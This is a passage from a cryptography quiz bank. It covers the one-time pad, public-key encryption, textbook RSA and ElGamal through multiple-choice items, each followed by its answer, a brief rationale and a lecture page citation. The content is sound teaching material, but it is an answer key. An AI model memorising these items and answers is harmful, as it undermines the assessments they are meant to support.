Q116. [Assertion-reason] Assertion: A one-time pad is difficult to deploy even though its security guarantee is extremely strong.

Reason: The parties must securely share long random key material and never reuse it.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The key-distribution burden is the main practical limitation.

Lecture source: pp. 22-23

Q117. [EXCEPT / NOT] All of the following describe a correct one-time pad EXCEPT:

- A. The same short key is reused for every message
- B. The key is random
- C. The key is at least as long as the plaintext
- D. Encryption can be performed with XOR

Answer: A. The same short key is reused for every message

Why: Reuse contradicts the one-time requirement.

Lecture source: pp. 22-23

Q118. [Comparison] Why does XOR work for OTP decryption?

- A. XOR publishes the key automatically
- B. XOR converts ciphertext into a public key
- C. XOR always outputs zero regardless of inputs
- D. Applying XOR with the same key a second time cancels the key bits

Answer: D. Applying XOR with the same key a second time cancels the key bits

Why: For each bit, $(m \text{ XOR } k) \text{ XOR } k = m$.

Lecture source: p. 22

Q119. [True / False] The phrase "one-time" in one-time pad is a security requirement, not just a historical name.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. True
- D. False

Answer: C. True

Why: The key must not be reused.

Lecture source: p. 23

Q120. [Misconception check] A student says, "OTP is impractical, so it cannot be secure." What is the best correction?

- A. OTP security depends on DES parity bits
- B. Practical inconvenience and cryptographic security are different issues; OTP can be perfectly secret when used correctly
- C. Correct: difficult deployment always means weak cryptography
- D. OTP is secure only because it uses a public key

Answer: B. Practical inconvenience and cryptographic security are different issues; OTP can be perfectly secret when used correctly

Why: OTP combines a strong theoretical guarantee with a hard key-management problem.

Lecture source: pp. 22-23

Q121. [Mini case study] A mobile-network design requires a modern symmetric construction rather than a historical alphabet cipher. Which lecture-covered option is appropriate?

- A. ChaCha20-Poly1305
- B. Caesar cipher
- C. Vigenere cipher
- D. Enigma

Answer: A. ChaCha20-Poly1305

Why: ChaCha20-Poly1305 is identified as a modern symmetric construction used in network protocols.

Lecture source: pp. 6, 24

Q122. [True / False] ChaCha20-Poly1305 belongs in the symmetric-key part of the lecture.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: It appears in the symmetric-key summary.

Lecture source: pp. 6, 24

5. Public-key encryption and RSA foundations

24 questions. Answers appear immediately below each item.

Q123. [Single answer] In public-key encryption, which key may be published for anyone to use when encrypting a message to the owner?

- A. A reused OTP sequence
- B. The DES parity bits
- C. The public key
- D. The secret decryption key

Answer: C. The public key

Why: The encryption key is publishable; the corresponding secret key remains protected.

Lecture source: p. 27

Q124. [Single answer] In the padlock analogy for public-key encryption, who can unlock the protected message?

- A. Only the sender, regardless of keys
- B. The owner of the secret key
- C. Anyone who saw the public key
- D. Anyone who knows the block size

Answer: B. The owner of the secret key

Why: The public lock can be used by anyone, but only the private key holder can unlock.

Lecture source: p. 27

Q125. [Comparison] Which statement best compares the key-sharing challenge in OTP and PKE?

- A. OTP requires a pre-shared secret pad, while PKE allows encryption using a published key and keeps only decryption secret
- B. Both require publishing the decryption key
- C. PKE requires a pad as long as the message
- D. OTP uses a public exponent

Answer: A. OTP requires a pre-shared secret pad, while PKE allows encryption using a published key and keeps only decryption secret

Why: PKE changes the distribution model by separating public and secret keys.

Lecture source: pp. 23, 27

Q126. [True / False] Publishing a public encryption key is expected behavior in a public-key scheme.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: The public key is intended for distribution.

Lecture source: p. 27

Q127. [True / False] Publishing the RSA secret exponent is harmless because the modulus remains public.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. False
- D. True

Answer: C. False

Why: The private exponent is secret decryption material and must be protected.

Lecture source: pp. 30-31

Q128. [Single answer] Which values form the textbook RSA public key?

- A. The plaintext m and ciphertext c
- B. The modulus n and public exponent e
- C. The primes p and q only
- D. The modulus n and secret exponent d

Answer: B. The modulus n and public exponent e

Why: The public key is written as (n, e) .

Lecture source: pp. 30-31

Q129. [Single answer] Which values form the textbook RSA secret key in the lecture representation?

- A. The modulus n and secret exponent d
- B. The modulus n and public exponent e
- C. The ciphertext c and public exponent e
- D. Only the plaintext m

Answer: A. The modulus n and secret exponent d

Why: The secret key is shown as (n, d) .

Lecture source: p. 31

Q130. [Single answer] How is the RSA modulus n computed from two primes?

- A. $n = p + q$
- B. $n = p - q$
- C. $n = e * d$
- D. $n = p * q$

Answer: D. $n = p * q$

Why: RSA multiplies the chosen primes.

Lecture source: pp. 30-31

Q131. [Single answer] For textbook RSA with two primes p and q , how is $\phi(n)$ computed in the lecture example?

- A. $\phi(n) = p + q$
- B. $\phi(n) = e + d$
- C. $\phi(n) = (p - 1) * (q - 1)$
- D. $\phi(n) = p * q$

Answer: C. $\phi(n) = (p - 1) * (q - 1)$

Why: The totient formula is used for the product of two primes.

Lecture source: pp. 30-31

Q132. [Single answer] Which relation connects RSA public exponent e and secret exponent d ?

- A. $e * d = 0 \text{ modulo } n$
- B. $e * d$ is congruent to 1 modulo $\phi(n)$
- C. $e + d = n$
- D. $e = d$ for every RSA key

Answer: B. $e * d$ is congruent to 1 modulo $\phi(n)$

Why: The private exponent is a modular inverse of the public exponent modulo $\phi(n)$.

Lecture source: pp. 30-33

Q133. [Single answer] What is the textbook RSA encryption equation?

- A. $c = m^e \text{ mod } n$
- B. $c = m^d \text{ mod } n$
- C. $c = p * q$
- D. $c = m \text{ XOR } e$

Answer: A. $c = m^e \text{ mod } n$

Why: Encryption uses the public exponent.

Lecture source: pp. 30, 32

Q134. [Single answer] What is the textbook RSA decryption equation?

- A. $m = c^e \text{ mod } n$
- B. $m = p + q$
- C. $m = c \text{ XOR } n$
- D. $m = c^d \text{ mod } n$

Answer: D. $m = c^d \text{ mod } n$

Why: Decryption uses the secret exponent.

Lecture source: pp. 30, 33

Q135. [Sequence] Which order correctly describes textbook RSA key setup?

- A. Choose d -> compute a Caesar shift -> publish p and q -> compute an OTP
- B. Choose one prime -> set n equal to e -> reuse the ciphertext as the secret key
- C. Choose primes p and q -> compute n -> compute $\phi(n)$ -> choose e -> compute d as the modular inverse of e
- D. Compute ciphertext -> choose plaintext -> publish d -> delete n

Answer: C. Choose primes p and q -> compute n -> compute $\phi(n)$ -> choose e -> compute d as the modular inverse of e

Why: That is the sequence shown in the textbook RSA setup.

Lecture source: pp. 30-31

Q136. [Single answer] What mathematical problem is related to the security of practical RSA?

- A. Difficulty of counting AES rounds
- B. Difficulty of factoring a large modulus n into its prime factors
- C. Difficulty of shifting an alphabet by three positions
- D. Difficulty of computing XOR

Answer: B. Difficulty of factoring a large modulus n into its prime factors

Why: RSA security is connected to the hardness of factorizing $n = p * q$.

Lecture source: p. 35

Q137. [Single answer] What RSA key length is highlighted for real-world use in the lecture?

- A. 2048 bits
- B. 56 bits
- C. 64 bits
- D. 128 bits only

Answer: A. 2048 bits

Why: The real-world RSA slide emphasizes 2048-bit keys.

Lecture source: p. 35

Q138. [Single answer] Why is textbook RSA not sufficient for real-world deployment even when the equations are correct?

- A. The public key must never be published
- B. The primes should be replaced with alphabet letters
- C. The ciphertext should always equal the plaintext
- D. It requires additional protections such as padding and suitable hash-function usage

Answer: D. It requires additional protections such as padding and suitable hash-function usage

Why: Raw textbook RSA lacks protections required for secure practical use.

Lecture source: p. 35

Q139. [EXCEPT / NOT] All of the following are sensible RSA deployment statements EXCEPT:

- A. Protect the secret key
- B. Use practical constructions that include padding and related safeguards
- C. Use raw textbook RSA directly without padding or additional protections
- D. Use large primes

Answer: C. Use raw textbook RSA directly without padding or additional protections

Why: The lecture explicitly warns that textbook RSA alone is not secure.

Lecture source: p. 35

Q140. [Assertion-reason] Assertion: The small-prime RSA example is useful for learning but not appropriate for production.

Reason: Real-world RSA needs large primes and additional secure construction details such as padding.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Toy arithmetic illustrates the equations but not deployment security.

Lecture source: pp. 30-35

Q141. [Select all that apply] Which values must remain secret in a practical RSA implementation?

- A. Private exponent d
- B. Prime factors p and q
- C. Public modulus n
- D. Public exponent e
- E. Public key (n, e)

Answer: A, B. Private exponent d ; Prime factors p and q

Why: The public key is distributed, while private decryption material and factors must be protected.

Lecture source: pp. 30-35

Q142. [Mini case study] A developer publishes (n, e) so that customers can encrypt messages to the service. Which cryptographic model is being used?

- A. One-time pad only
- B. Monoalphabetic substitution
- C. Static firewall filtering
- D. Public-key encryption

Answer: D. Public-key encryption

Why: Publishing an encryption key while keeping the decryption key secret is the PKE model.

Lecture source: p. 27

Q143. [Mini case study] An implementation stores p and q in a public configuration file even though n is already public. What is the main issue?

- A. It converts RSA into AES
- B. It affects only the block size display
- C. Revealing the factors undermines the hardness assumption used by RSA
- D. It improves security because more values are public

Answer: C. Revealing the factors undermines the hardness assumption used by RSA

Why: The factors are sensitive because they enable computation of the private key.

Lecture source: p. 35

Q144. [Misconception check] A student says, "Because the RSA public key is published, anyone can decrypt RSA ciphertext." What is the correct response?

- A. Decryption requires a Caesar shift only
- B. The public key enables encryption, while decryption requires the secret key
- C. Correct: public-key encryption has no secrets
- D. Correct: d and p must always be public

Answer: B. The public key enables encryption, while decryption requires the secret key

Why: The public and secret keys have different roles.

Lecture source: p. 27

Q145. [Comparison] Which value is public in textbook RSA but should be hard to factor?

- A. n
- B. d
- C. p and q individually
- D. The one-time pad

Answer: A. n

Why: The modulus n is public, but its prime factorization should remain hard to recover.

Lecture source: pp. 31, 35

Q146. [True / False] RSA encryption and decryption can be repeated for many messages after the key setup has been completed.

- A. False
- B. Only for public-key schemes
- C. Only when a standard is involved
- D. True

Answer: D. True

Why: The lecture separates initial setup from repeatable encryption and decryption operations.

Lecture source: p. 30

6. Textbook RSA calculation practice and deployment reasoning

40 questions. Answers appear immediately below each item.

Q147. [Calculation] For $p = 11$ and $q = 13$, what is the RSA modulus n ?

- A. 24
- B. 103
- C. 143
- D. 120

Answer: C. 143

Why: Compute $n = p * q = 11 * 13$.

Lecture source: pp. 30-31

Q148. [Calculation] For $p = 11$ and $q = 13$, what is $\phi(n)$?

- A. 103
- B. 120
- C. 143
- D. 24

Answer: B. 120

Why: Compute $(11 - 1) * (13 - 1) = 10 * 12$.

Lecture source: pp. 30-31

Q149. [Calculation] For $\phi(n) = 120$ and $e = 7$, which value is the modular inverse d used in the worked RSA example?

- A. 103
- B. 17
- C. 48
- D. 143

Answer: A. 103

Why: $7 * 103 = 721$, which is congruent to 1 modulo 120.

Lecture source: pp. 30-31

Q150. [Calculation] In the worked RSA example with public key $(143, 7)$, what ciphertext results from plaintext $m = 9$?

- A. 9
- B. 103
- C. 120
- D. 48

Answer: D. 48

Why: Compute $9^7 \bmod 143 = 48$.

Lecture source: p. 32

Q151. [Calculation] In the worked RSA example with secret exponent $d = 103$, what plaintext is recovered from ciphertext $c = 48$?

- A. 103
- B. 143
- C. 9
- D. 48

Answer: C. 9

Why: Compute $48^{103} \bmod 143 = 9$.

Lecture source: p. 33

Q152. [Single answer] Which pair is the public key in the worked RSA example?

- A. (48, 9)
- B. (143, 7)
- C. (143, 103)
- D. (11, 13)

Answer: B. (143, 7)

Why: The public key consists of n and e .

Lecture source: pp. 30-31

Q153. [Single answer] Which pair is the secret key representation in the worked RSA example?

- A. (143, 103)
- B. (143, 7)
- C. (11, 13)
- D. (9, 48)

Answer: A. (143, 103)

Why: The secret key representation consists of n and d .

Lecture source: p. 31

Q154. [Sequence] After RSA key setup, which operation should an encryptor perform on plaintext m ?

- A. Compute $c = m^d \bmod n$ using the secret key
- B. Compute $n = c * d$
- C. Compute $c = m \text{ XOR } \phi(n)$
- D. Compute $c = m^e \bmod n$ using the public key

Answer: D. Compute $c = m^e \bmod n$ using the public key

Why: RSA encryption uses e and n .

Lecture source: pp. 30, 32

Q155. [Sequence] After receiving RSA ciphertext c , which operation should the decryptor perform?

- A. Compute $m = p + q$
- B. Compute $m = c \text{ XOR } e$
- C. Compute $m = c^d \bmod n$ using the secret key
- D. Compute $m = c^e \bmod n$ using only the public key

Answer: C. Compute $m = c^d \bmod n$ using the secret key

Why: RSA decryption uses d and n .

Lecture source: pp. 30, 33

Q156. [Calculation] For RSA primes $p = 5$ and $q = 11$, what is n ?

- A. 27
- B. 55
- C. 40
- D. 16

Answer: B. 55

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q157. [Calculation] For RSA primes $p = 5$ and $q = 11$, what is $\phi(n)$?

- A. 40
- B. 55
- C. 16
- D. 14

Answer: A. 40

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q158. [Calculation] For RSA with $n = 55$, $e = 3$, and plaintext $m = 7$, what is ciphertext $c = m^e \bmod n$?

- A. 7
- B. 21
- C. 34
- D. 13

Answer: D. 13

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q159. [Calculation] For RSA primes $p = 7$ and $q = 11$, what is n ?

- A. 18
- B. 43
- C. 77
- D. 60

Answer: C. 77

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q160. [Calculation] For RSA primes $p = 7$ and $q = 11$, what is $\phi(n)$?

- A. 16
- B. 60
- C. 77
- D. 18

Answer: B. 60

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q161. [Calculation] For RSA with $n = 77$, $e = 7$, and plaintext $m = 5$, what is ciphertext $c = m^e \bmod n$?

- A. 47
- B. 5
- C. 35
- D. 48

Answer: A. 47

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q162. [Calculation] For RSA primes $p = 5$ and $q = 13$, what is n ?

- A. 48
- B. 18
- C. 29
- D. 65

Answer: D. 65

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q163. [Calculation] For RSA primes $p = 5$ and $q = 13$, what is $\phi(n)$?

- A. 18
- B. 16
- C. 48
- D. 65

Answer: C. 48

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q164. [Calculation] For RSA with $n = 65$, $e = 5$, and plaintext $m = 9$, what is ciphertext $c = m^e \bmod n$?

- A. 38
- B. 29
- C. 9
- D. 45

Answer: B. 29

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q165. [Calculation] For RSA primes $p = 7$ and $q = 13$, what is n ?

- A. 91
- B. 72
- C. 20
- D. 29

Answer: A. 91

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q166. [Calculation] For RSA primes $p = 7$ and $q = 13$, what is $\phi(n)$?

- A. 91
- B. 20
- C. 18
- D. 72

Answer: D. 72

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q167. [Calculation] For RSA with $n = 91$, $e = 5$, and plaintext $m = 8$, what is ciphertext $c = m^e \bmod n$?

- A. 37
- B. None of the other options
- C. 8
- D. 40

Answer: C. 8

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q168. [Calculation] For RSA primes $p = 11$ and $q = 17$, what is n ?

- A. 23
- B. 187
- C. 160
- D. 28

Answer: B. 187

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q169. [Calculation] For RSA primes $p = 11$ and $q = 17$, what is $\phi(n)$?

- A. 160
- B. 187
- C. 28
- D. 26

Answer: A. 160

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q170. [Calculation] For RSA with $n = 187$, $e = 7$, and plaintext $m = 12$, what is ciphertext $c = m^e \bmod n$?

- A. 12
- B. 84
- C. 35
- D. 177

Answer: D. 177

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q171. [Calculation] For RSA primes $p = 13$ and $q = 17$, what is n ?

- A. 30
- B. 77
- C. 221
- D. 192

Answer: C. 221

Why: Multiply the two selected primes.

Lecture source: pp. 30-31

Q172. [Calculation] For RSA primes $p = 13$ and $q = 17$, what is $\phi(n)$?

- A. 28
- B. 192
- C. 221
- D. 30

Answer: B. 192

Why: For two primes, $\phi(n) = (p - 1) * (q - 1)$.

Lecture source: pp. 30-31

Q173. [Calculation] For RSA with $n = 221$, $e = 5$, and plaintext $m = 10$, what is ciphertext $c = m^e \bmod n$?

- A. 108
- B. 10
- C. 50
- D. 87

Answer: A. 108

Why: Apply modular exponentiation with the public exponent.

Lecture source: pp. 30, 32

Q174. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 3$ and $\phi(n) = 40$?

- A. 28
- B. 37
- C. 3
- D. 27

Answer: D. 27

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q175. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 7$ and $\phi(n) = 60$?

- A. 53
- B. 7
- C. 43
- D. 44

Answer: C. 43

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q176. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 5$ and $\phi(n) = 72$?

- A. 5
- B. 29
- C. 30
- D. 67

Answer: B. 29

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q177. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 5$ and $\phi(n) = 96$?

- A. 77
- B. 78
- C. 91
- D. 5

Answer: A. 77

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q178. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 7$ and $\phi(n) = 120$?

- A. 104
- B. 113
- C. 7
- D. 103

Answer: D. 103

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q179. [Calculation] Which value of d satisfies $e * d$ congruent to 1 modulo $\phi(n)$ when $e = 7$ and $\phi(n) = 160$?

- A. 153
- B. 7
- C. 23
- D. 24

Answer: C. 23

Why: The private exponent is the modular inverse of e modulo $\phi(n)$.

Lecture source: pp. 30-31

Q180. [Mini case study] A small RSA exercise produces $n = 143$ from two primes. Which factor pair is consistent with that modulus?

- A. 3 and 41
- B. 11 and 13
- C. 7 and 17
- D. 5 and 19

Answer: B. 11 and 13

Why: $11 * 13 = 143$.

Lecture source: pp. 30-31

Q181. [Mini case study] A textbook RSA implementation correctly computes $c = m^e \bmod n$ but deploys the raw result directly in production. What is the best review finding?

- A. The arithmetic is educationally correct, but production RSA needs secure padding and related protections
- B. The implementation is automatically secure because modular arithmetic is present
- C. The public exponent should be deleted
- D. The modulus should be replaced by an OTP key

Answer: A. The arithmetic is educationally correct, but production RSA needs secure padding and related protections

Why: Correct equations alone do not make textbook RSA deployment secure.

Lecture source: p. 35

Q182. [Mini case study] A team chooses tiny primes so that RSA operations are fast. What is the most important problem?

- A. The ciphertext becomes impossible to compute
- B. The encryption key becomes a one-time pad
- C. The system gains perfect secrecy
- D. The public modulus becomes easy to factor, undermining security

Answer: D. The public modulus becomes easy to factor, undermining security

Why: Real-world RSA requires large primes and a hard-to-factor modulus.

Lecture source: p. 35

Q183. [True / False] In RSA, choosing e and d is unrelated to $\phi(n)$.

- A. Only for public-key schemes
- B. Only when a standard is involved
- C. False
- D. True

Answer: C. False

Why: They must satisfy the modular-inverse relation modulo $\phi(n)$.

Lecture source: pp. 30-31

Q184. [EXCEPT / NOT] All of the following are RSA setup steps EXCEPT:

- A. Compute $\phi(n)$ and derive d from e
- B. Choose a fresh ElGamal randomness k for every RSA ciphertext
- C. Choose primes p and q
- D. Compute $n = p * q$

Answer: B. Choose a fresh ElGamal randomness k for every RSA ciphertext

Why: Fresh k is an ElGamal encryption concept, not part of textbook RSA setup.

Lecture source: pp. 30-31, 37-40

Q185. [Assertion-reason] Assertion: Knowing p and q makes it straightforward to compute $\phi(n)$ in textbook RSA.

Reason: For $n = p * q$ with primes, $\phi(n) = (p - 1) * (q - 1)$.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: The factorization enables the totient calculation used to derive d .

Lecture source: pp. 30-31

Q186. [Misconception check] A student obtains d by adding e to $\phi(n)$. What is the correction?

- A. d is always equal to e
- B. d is always equal to n
- C. d is the ciphertext
- D. d must be the modular inverse of e modulo $\phi(n)$, not a simple sum

Answer: D. d must be the modular inverse of e modulo $\phi(n)$, not a simple sum

Why: RSA relies on a congruence relation, not ordinary addition.

Lecture source: pp. 30-31

7. Textbook ElGamal encryption, randomness, and calculations

41 questions. Answers appear immediately below each item.

Q187. [Single answer] Which values form the textbook ElGamal public key in the lecture representation?

- A. (n, d)
- B. (m, c)
- C. (p, g, h)
- D. (n, e)

Answer: C. (p, g, h)

Why: ElGamal publishes the prime, generator, and public value h.

Lecture source: pp. 37-38

Q188. [Single answer] Which value is the textbook ElGamal secret key?

- A. c1
- B. x
- C. h
- D. g

Answer: B. x

Why: The secret exponent x is kept private.

Lecture source: pp. 37-38

Q189. [Single answer] How is the ElGamal public value h computed?

- A. $h = g^x \bmod p$
- B. $h = p * g$
- C. $h = x \text{ XOR } p$
- D. $h = c1 + c2$

Answer: A. $h = g^x \bmod p$

Why: The public value is derived by modular exponentiation from the secret exponent.

Lecture source: pp. 37-38

Q190. [Single answer] What fresh value is chosen during textbook ElGamal encryption?

- A. RSA private exponent d
- B. DES parity byte
- C. A Caesar shift fixed forever
- D. Randomness k

Answer: D. Randomness k

Why: The encryptor selects k before computing the ciphertext pair.

Lecture source: pp. 37, 39

Q191. [Single answer] How is the first ElGamal ciphertext component computed?

- A. $c1 = m \text{ XOR } k$
- B. $c1 = p * q$
- C. $c1 = g^k \bmod p$
- D. $c1 = m^e \bmod n$

Answer: C. $c1 = g^k \bmod p$

Why: The first component depends on the generator and encryption randomness.

Lecture source: pp. 37, 39

Q192. [Single answer] How is the second ElGamal ciphertext component computed?

- A. $c2 = m \text{ XOR } p$
- B. $c2 = m * h^k \bmod p$
- C. $c2 = c1^d \bmod n$
- D. $c2 = p + q$

Answer: B. $c2 = m * h^k \bmod p$

Why: The message is combined multiplicatively with h^k modulo p.

Lecture source: pp. 37, 39

Q193. [Single answer] Which object is transmitted as an ElGamal ciphertext?

- A. The pair (c1, c2)
- B. Only c1
- C. Only x
- D. The pair (n, e)

Answer: A. The pair (c1, c2)

Why: ElGamal ciphertext contains two modular values.

Lecture source: pp. 37, 39

Q194. [Single answer] Which intermediate value is computed during ElGamal decryption?

- A. $s = p * q$
- B. $s = m^e \bmod n$
- C. $s = g \text{ XOR } h$
- D. $s = c1^x \bmod p$

Answer: D. $s = c1^x \bmod p$

Why: The decryptor uses the secret exponent to derive s.

Lecture source: pp. 37, 40

Q195. [Single answer] How is the ElGamal plaintext recovered after computing s?

- A. $m = c1^e \bmod n$
- B. $m = c2 \text{ XOR } p$
- C. $m = c2 * s^{(-1)} \bmod p$
- D. $m = c2 + s \bmod p$

Answer: C. $m = c2 * s^{(-1)} \bmod p$

Why: The multiplicative inverse removes the masking factor.

Lecture source: pp. 37, 40

Q196. [Sequence] Which sequence correctly describes textbook ElGamal setup and encryption?

- A. Choose OTP pad -> reuse it -> publish the pad -> compute a checksum
- B. Choose p and g -> choose secret x -> compute $h = g^x \bmod p$ -> publish (p, g, h) -> choose random k -> compute (c1, c2)
- C. Choose RSA primes -> compute $\phi(n)$ -> choose DES parity bits -> publish d
- D. Choose plaintext -> publish x -> delete p -> compute a Caesar shift

Answer: B. Choose p and g -> choose secret x -> compute $h = g^x \bmod p$ -> publish (p, g, h) -> choose random k -> compute (c1, c2)

Why: That is the flow shown by the ElGamal worked example.

Lecture source: pp. 37-39

Q197. [Comparison] Which statement best contrasts textbook RSA and textbook ElGamal ciphertexts?

- A. RSA produces one ciphertext value c, whereas ElGamal produces a pair (c1, c2)
- B. Both always produce the same pair (n, e)
- C. RSA uses fresh k while ElGamal does not
- D. ElGamal has no secret key

Answer: A. RSA produces one ciphertext value c, whereas ElGamal produces a pair (c1, c2)

Why: The two textbook schemes have different ciphertext structures.

Lecture source: pp. 30, 37

Q198. [Comparison] Which statement best contrasts textbook RSA setup with textbook ElGamal encryption?

- A. RSA publishes p and q while ElGamal publishes x
- B. ElGamal uses no modular arithmetic
- C. RSA is an alphabet substitution cipher
- D. RSA derives a private exponent d from $\phi(n)$, while ElGamal encryption chooses fresh randomness k

Answer: D. RSA derives a private exponent d from $\phi(n)$, while ElGamal encryption chooses fresh randomness k

Why: The formulas and key structures are different.

Lecture source: pp. 30-31, 37-39

Q199. [Calculation] In the worked ElGamal example with $p = 23$, $g = 5$, and $x = 6$, what is $h = g^x \bmod p$?

- A. 6
- B. 17
- C. 8
- D. 5

Answer: C. 8

Why: Compute $5^6 \bmod 23 = 8$.

Lecture source: p. 38

Q200. [Single answer] Which tuple is the worked ElGamal public key?

- A. (17, 16)
- B. (23, 5, 8)
- C. (143, 7)
- D. (23, 5, 6)

Answer: B. (23, 5, 8)

Why: The public tuple is (p, g, h) .

Lecture source: p. 38

Q201. [Single answer] What is the worked ElGamal secret key?

- A. 6
- B. 7
- C. 8
- D. 23

Answer: A. 6

Why: The secret exponent is $x = 6$.

Lecture source: p. 38

Q202. [Calculation] In the worked ElGamal example with $p = 23$, $g = 5$, and $k = 7$, what is $c_1 = g^k \bmod p$?

- A. 16
- B. 8
- C. 12
- D. 17

Answer: D. 17

Why: Compute $5^7 \bmod 23 = 17$.

Lecture source: p. 39

Q203. [Calculation] In the worked ElGamal example with $m = 9$, $h = 8$, $k = 7$, and $p = 23$, what is $c_2 = m * h^k \bmod p$?

- A. 12
- B. 9
- C. 16
- D. 17

Answer: C. 16

Why: Compute $9 * 8^7 \bmod 23 = 16$.

Lecture source: p. 39

Q204. [Single answer] Which pair is the worked ElGamal ciphertext?

- A. (143, 48)
- B. (17, 16)
- C. (23, 5)
- D. (8, 6)

Answer: B. (17, 16)

Why: The worked encryption produces $c_1 = 17$ and $c_2 = 16$.

Lecture source: p. 39

Q205. [Calculation] In the worked ElGamal example, what is $s = c_1^x \bmod p$ for $c_1 = 17$, $x = 6$, and $p = 23$?

- A. 12
- B. 2
- C. 16
- D. 17

Answer: A. 12

Why: Compute $17^6 \bmod 23 = 12$.

Lecture source: p. 40

Q206. [Calculation] In the worked ElGamal example, which value is the multiplicative inverse of 12 modulo 23?

- A. 12
- B. 11
- C. 23
- D. 2

Answer: D. 2

Why: $12 * 2 = 24$, which is congruent to 1 modulo 23.

Lecture source: p. 40

Q207. [Calculation] In the worked ElGamal example, recover m from $c_2 = 16$ and $s^{(-1)} = 2$ modulo 23.

- A. 12
- B. 18
- C. 9
- D. 16

Answer: C. 9

Why: Compute $16 * 2 \bmod 23 = 9$.

Lecture source: p. 40

Q208. [Calculation] For textbook ElGamal with $p = 11$, $g = 2$, and secret $x = 3$, what is $h = g^x \bmod p$?

- A. 3
- B. 8
- C. 5
- D. 6

Answer: B. 8

Why: Compute the public value by modular exponentiation.

Lecture source: pp. 37-38

Q209. [Calculation] For textbook ElGamal with $p = 11$, $g = 2$, $h = 8$, message $m = 7$, and $k = 4$, what is c_1 ?

- A. 5
- B. 6
- C. 8
- D. 7

Answer: A. 5

Why: Compute $c_1 = g^k \bmod p$.

Lecture source: pp. 37, 39

Q210. [Calculation] For textbook ElGamal with $p = 11$, $h = 8$, message $m = 7$, and $k = 4$, what is c_2 ?

- A. 5
- B. 4
- C. 7
- D. 6

Answer: D. 6

Why: Compute $c_2 = m * h^k \bmod p$.

Lecture source: pp. 37, 39

Q211. [Calculation] For textbook ElGamal with $p = 13$, $g = 2$, and secret $x = 5$, what is $h = g^x \bmod p$?

- A. 12
- B. 5
- C. 6
- D. 8

Answer: C. 6

Why: Compute the public value by modular exponentiation.

Lecture source: pp. 37-38

Q212. [Calculation] For textbook ElGamal with $p = 13$, $g = 2$, $h = 6$, message $m = 8$, and $k = 3$, what is c_1 ?

- A. None of the other options
- B. 8
- C. 12
- D. 6

Answer: B. 8

Why: Compute $c_1 = g^k \bmod p$.

Lecture source: pp. 37, 39

Q213. [Calculation] For textbook ElGamal with $p = 13$, $h = 6$, message $m = 8$, and $k = 3$, what is c_2 ?

- A. 12
- B. 8
- C. None of the other options
- D. Insufficient information to determine the result

Answer: A. 12

Why: Compute $c_2 = m * h^k \bmod p$.

Lecture source: pp. 37, 39

Q214. [Calculation] For textbook ElGamal with $p = 17$, $g = 3$, and secret $x = 4$, what is $h = g^x \bmod p$?

- A. 5
- B. 15
- C. 4
- D. 13

Answer: D. 13

Why: Compute the public value by modular exponentiation.

Lecture source: pp. 37-38

Q215. [Calculation] For textbook ElGamal with $p = 17$, $g = 3$, $h = 13$, message $m = 9$, and $k = 5$, what is c_1 ?

- A. 13
- B. 9
- C. 5
- D. 15

Answer: C. 5

Why: Compute $c_1 = g^k \bmod p$.

Lecture source: pp. 37, 39

Q216. [Calculation] For textbook ElGamal with $p = 17$, $h = 13$, message $m = 9$, and $k = 5$, what is c_2 ?

- A. 9
- B. 15
- C. 5
- D. 13

Answer: B. 15

Why: Compute $c_2 = m * h^k \bmod p$.

Lecture source: pp. 37, 39

Q217. [Calculation] For textbook ElGamal with $p = 19$, $g = 2$, and secret $x = 7$, what is $h = g^x \bmod p$?

- A. 14
- B. 16
- C. 7
- D. None of the other options

Answer: A. 14

Why: Compute the public value by modular exponentiation.

Lecture source: pp. 37-38

